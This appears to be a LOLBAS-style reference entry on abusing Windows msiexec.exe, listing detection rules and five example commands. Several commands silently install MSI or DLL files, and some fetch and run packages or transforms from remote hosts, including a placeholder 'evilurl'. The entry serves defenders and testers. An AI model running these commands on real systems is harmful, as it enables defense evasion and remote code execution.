

Execute (DLL)

Used by Windows to execute msi files

### Paths:

C:\Windows\System32\msiexec.exe C:\Windows\SysWOW64\msiexec.exe

#### Resources:

- <a href="https://pentestlab.blog/2017/06/16/applocker-bypass-msiexec/">https://pentestlab.blog/2017/06/16/applocker-bypass-msiexec/</a>
- <a href="https://twitter.com/PhilipTsukerman/status/992021361106268161">https://twitter.com/PhilipTsukerman/status/992021361106268161</a>
- <a href="https://badoption.eu/blog/2023/10/03/MSIFortune.html">https://badoption.eu/blog/2023/10/03/MSIFortune.html</a>

# **Acknowledgements:**

- netbiosX (<u>@netbiosX</u>)
- Philip Tsukerman (<u>@PhilipTsukerman</u>)

## **Detections:**

- Sigma: proc\_creation\_win\_msiexec\_web\_install.yml
- Sigma: proc creation win msiexec masquerading.yml
- Elastic: defense evasion network connection from windows binary.toml
- Splunk: <u>uninstall app using msiexec.yml</u>
- IOC: msiexec.exe retrieving files from Internet

# **Execute**

1. Installs the target .MSI file silently.

msiexec /quiet /i cmd.msi

**Use case:** Execute custom made msi file with attack code

Privileges required: User

**Operating systems:** Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique: T1218.007: Msiexec

2. Installs the target remote & renamed .MSI file silently.

msiexec /q /i http://192.168.100.3/tmp/cmd.png

**Use case:** Execute custom made msi file with attack code from remote server

Privileges required: User

**Operating systems:** Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique: T1218.007: Msiexec

3. Calls DllRegisterServer to register the target DLL.

msiexec /y "C:\folder\evil.dll"

**Use case:** Execute dll files

Privileges required: User

Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique: T1218.007: Msiexec

Tags: Execute: DLL

4. Calls DllUnregisterServer to un-register the target DLL.

msiexec /z "C:\folder\evil.dll"

Use case: Execute dll files

Privileges required: User

Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique: T1218.007: Msiexec

Tags: Execute: DLL

5. Installs the target .MSI file from a remote URL, the file can be signed by vendor. Additional to the file a transformation file will be used, which can contains malicious code or binaries. The /qb will skip user input.

```
msiexec /i "https://trustedURL/signed.msi" TRANSFORMS="https://evilurl/evil.mst" /qb
```

**Use case:** Install trusted and signed msi file, with additional attack code as transformation file, from a

remote server

Privileges required: User

**Operating systems:** Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique: T1218.007: Msiexec